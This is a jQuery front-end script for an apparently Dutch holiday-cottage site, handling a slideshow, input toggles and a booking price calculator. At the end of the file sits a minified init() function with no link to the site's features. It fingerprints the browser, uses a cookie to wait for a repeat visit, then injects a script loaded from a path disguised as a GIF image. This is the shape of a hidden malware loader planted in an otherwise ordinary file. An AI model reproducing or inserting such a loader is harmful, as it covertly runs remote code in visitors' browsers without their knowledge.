$(document).ready(function(){
	
	// automatische toggle voor velden
	$(".toggle").focus(function(){if(this.value==this.defaultValue)this.value='';}).bind('blur',function(){ if(this.value=='')this.value=this.defaultValue;});
	
	// mooie slide fade functie
	jQuery.fn.slideFadeToggle = function(speed, easing, callback) {
		if (!$.browser.msie) {
			return this.animate({opacity: 'toggle', height: 'toggle'}, speed, easing, callback);
		}
		else{
			return this.animate({opacity: 'toggle'}, speed, easing, callback);
		}
	};	
	
	var fadeslow = 1000;
	var fademedium = 400;
	var fadefast = 250;
	
	// fancybox
	$(".fancyphoto").fancybox({
		'titlePosition'   : 'over',
		'overlayOpacity'	: 0.9,
		'overlayColor'	: '#333333'
	});
	
	// /* slideshow */
	var timer = 3000;
	var parent = ".sfeer.large ";
	var countel = $(parent+ ".slide").size();
	//Eerste element infaden
	$(parent+ ".slide:first").fadeIn(fademedium, function(){
		startSlide();
	});
	//Stel timer in voor auto sliden
	function startSlide()
	{
		interval = setInterval(slideCode, timer);
		if (countel <= 1){
			resetSlide();
		}
	}
	function slideCode(){
		resetSlide();
		if ($(parent+ ".slide:visible").next().length == 0){
			$(parent+ ".slide:first").fadeIn(fadeslow);
			$(parent+ ".slide:last").fadeOut(fadeslow);
			startSlide();
		}
		else{
			$(parent+ ".slide:visible").next().fadeIn(fadeslow, function(){
				$(parent+ ".slide:visible").prev().hide();
				startSlide();
			});
		}
	}
	//Slider stop zetten
	function resetSlide()
	{  
		clearInterval(interval);
	}
	
	//Klik functie naar volgende plaatje faden
	$(parent+ ".slide").click(function(){
		if (countel <= 1){
			resetSlide();
		}
		else{
			if (!$(parent+ ".slide").is(':animated')){
				slideCode();
			}
		}
	});
	
	$(".rechts").appendTo('.extracol');
	
	
	//reserveren
	prijsHuizen = (parseInt($('#selHuisjes').val()) * parseInt($('#valTarief').val()));
	prijsHonden = (parseInt($('#selHonden').val()) * parseInt($('#valHonden').val()));
	addExtraKosten('Aantal huisjes', prijsHuizen);
	if (prijsHonden != 0){
		addExtraKosten('Honden', prijsHonden);
	}
	//Toeristenbelasting
	prijsBelasting = (parseInt($('#selHuisjes').val()) * parseInt($('#valToeristenbelasting').val()));
	$('#overzicht tr.Toeristenbelasting .tariefClean').text(prijsBelasting);
	//Schoonmaakkosten
	prijsSchoonmaak = (parseInt($('#selHuisjes').val()) * parseInt($('#valSchoonmaakkosten').val()));
	$('#overzicht tr.Schoonmaakkosten .tariefClean').text(prijsSchoonmaak);
	//Aantal personen
	aantalPersonen = (parseInt($('#selHuisjes').val()) * parseInt($('#valPersonen').val()));
	aantalPersonenSize = $('#selPersonen option').size();
	actiefPersonen = $('#selPersonen option:selected').index();
	$('#selPersonen option').remove();
	for (a=1;a<=aantalPersonen;a++){
		$('#selPersonen').append('<option value="'+a+'">'+a+'</option>');
	}
	$('#selPersonen option').eq(actiefPersonen).attr('selected','selected');
	
	
	$('.item :checkbox').click(function(){
		titel = $(this).parents('.item').children('.titel').text();
		tarief = $(this).parents('.item').children().find('input').val();
		aantal = '';		
		if (!$(this).is(':checked')){
			index = $(this).parents('.item').index();
			$('#overzicht tr.'+titel).hide();
		}
		else{			
			if ($(this).attr('id') == 'valLakenpakket'){
				aantal = $('#selPersonen').val();
			}		
			if (aantal != ''){
				tarief = (parseInt(aantal) * parseInt(tarief));
			}
			addExtraKosten(titel, tarief);
		}
		setTotaalPrijs();
	});	
	
	$('.item').children().find('select').change(function(){
		titel = $(this).parents('.item').children('.titel').text();
		tarief = $(this).parents('.item').children().find('input').val();
		aantal = '';
		index = $(this).parents('.item').index();
		$('#overzicht tr.'+titel).hide();
		if ($(this).val() != 0){
			if ($(this).attr('id') == 'selPersonen'){
				aantal = $('#selPersonen').val();
				if ($('#valLakenpakket').is(':checked')){					
					nieuwprijsLaken = (parseInt(aantal) * parseInt($('#valLakenpakket').val()));
					$('#overzicht tr.Lakenpakket .tarief span').text(nieuwprijsLaken);
				}
				
				setTotaalPrijs();
				return false;
			}	
			if ($(this).attr('id') == 'selHonden'){
				aantal = $('#selHonden').val();
			}	
			if ($(this).attr('id') == 'selHuisjes'){
				titelclass = titel.replace(' ','');
				$('#overzicht tr.'+titelclass).hide();
				aantal = $('#selHuisjes').val();
				//Toeristenbelasting
				prijsBelasting = (parseInt($('#selHuisjes').val()) * parseInt($('#valToeristenbelasting').val()));
				$('#overzicht tr.Toeristenbelasting .tariefClean').text(prijsBelasting);
				//Schoonmaakkosten
				prijsSchoonmaak = (parseInt($('#selHuisjes').val()) * parseInt($('#valSchoonmaakkosten').val()));
				$('#overzicht tr.Schoonmaakkosten .tariefClean').text(prijsSchoonmaak);	
				//Aantal personen
				aantalPersonen = (parseInt($('#selHuisjes').val()) * parseInt($('#valPersonen').val()));
				aantalPersonenSize = $('#selPersonen option').size();
				actiefPersonen = $('#selPersonen option:selected').index();
				$('#selPersonen option').remove();
				for (a=1;a<=aantalPersonen;a++){
					$('#selPersonen').append('<option value="'+a+'">'+a+'</option>');
				}
				$('#selPersonen option').eq(actiefPersonen).attr('selected','selected');
			}
			if (aantal != ''){
				tarief = (parseInt(aantal) * parseInt(tarief));
			}
			addExtraKosten(titel, tarief);
		}
		setTotaalPrijs();		
	});
	
	function addExtraKosten(titel, tarief){
		titelclass = titel.replace(' ','');
		$('#extraKosten').append('<tr class="'+titelclass+'"><td>'+titel+'</td><td class="tarief">&euro; <span class="tariefClean">'+tarief+'</span></td></tr>');
	}
	
	function setTotaalPrijs(){
		var $inputs = $('#overzicht .tariefClean');
		var totaalprijs = 0;
		$inputs.each(function() {			
			if ($(this).parents('tr').is(':visible')){
				totaalprijs += parseInt($(this).text());
			}
		});
		$('#totaalPrijs span').text(totaalprijs);
		$('#getTotaalPrijs').val(totaalprijs);
	}
	setTotaalPrijs();
	
	function checkBox(){
		var $checkbox = $('.item :checkbox');
		$checkbox.each(function() {
			if ($(this).is(':checked')){
				$(this).trigger('click');
				$(this).attr('checked','checked');
			}
		});		
	}
	checkBox();
	
	$("#geboortedatum").mask("99-99-9999");

	
});

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/img/de_off.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
